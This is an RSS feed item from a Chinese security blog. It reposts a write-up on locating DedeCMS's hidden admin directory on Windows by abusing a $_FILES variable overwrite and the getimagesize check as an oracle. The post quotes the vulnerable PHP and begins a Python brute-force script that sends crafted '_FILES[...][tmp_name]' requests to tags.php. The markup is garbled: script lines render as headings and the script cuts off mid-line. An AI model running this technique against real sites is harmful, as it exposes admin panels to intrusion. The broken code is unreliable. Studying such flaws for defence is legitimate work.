<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>后台 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E5%90%8E%E5%8F%B0/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 26 Feb 2018 21:15:00 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>解决历史难题-DEDECMS织梦找后台目录</title>
		<link>/web/363.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 26 Feb 2018 21:15:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[dedecms]]></category>
		<category><![CDATA[后台]]></category>
		<category><![CDATA[目录]]></category>
		<category><![CDATA[织梦]]></category>
		<guid isPermaLink="false">/?p=253</guid>

					<description><![CDATA[原文 https://xianzhi.aliyun.com/forum/topic/2064 利用限制 仅针对windows系统 进入正题 首先看核心文件common.inc.ph...]]></description>
										<content:encoded><![CDATA[<blockquote><p>原文 <a href="https://xianzhi.aliyun.com/forum/topic/2064">https://xianzhi.aliyun.com/forum/topic/2064</a></p></blockquote>
<h1>利用限制</h1>
<p><strong>仅针对windows系统</strong></p>
<h1>进入正题</h1>
<p>首先看核心文件common.inc.php 大概148行左右</p>
<pre><code>if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}</code></pre>
<p>uploadsafe.inc.php</p>
<pre><code>if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
    exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) &amp;&amp; (preg_match(&quot;#\.(&quot;.$cfg_not_allowall.&quot;)$#i&quot;,${$_key.'_name'}) || !preg_match(&quot;#\.#&quot;, ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}
if(empty(${$_key.'_size'}))
{
    ${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
    &quot;image/pjpeg&quot;, &quot;image/jpeg&quot;, &quot;image/gif&quot;, &quot;image/png&quot;,
    &quot;image/xpng&quot;, &quot;image/wbmp&quot;, &quot;image/bmp&quot;
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key);
    //问题就在这里，获取文件的size，获取不到说明不是图片或者图片不存在，不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}
......</code></pre>
<p>注意<code>$$_key</code>这一句，变量$key取自于$_FILE，由于$_FILE可控自然$key也可控,此处理论上是可以覆盖任意变量，但是前面有个正则判断不能出现<code>cfg_|GLOBALS</code>。(但是应该还可以覆盖其他变量此处感觉还可以深挖)</p>
<p>本人出发点是找个可以利用</p>
<pre><code>![3.png][3]
# Python版本</code></pre>
<h1>!/usr/bin/env python3</h1>
<h1>fixed bug by ChaBug</h1>
<h1>author = Mochazz</h1>
<p>import requests<br />import itertools<br />characters = &#8220;abcdefghijklmnopqrstuvwxyz0123456789_!~@$-+=()&#8221;  #加上了乱七八糟的符号<br />back_dir = &#8220;&#8221;<br />flag = 0<br />url = &#8220;http://192.168.1.9/tags.php&#8221;<br />data = {</p>
<pre><code>&quot;_FILES[mochazz][tmp_name]&quot; : &quot;./{p}</code></pre>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
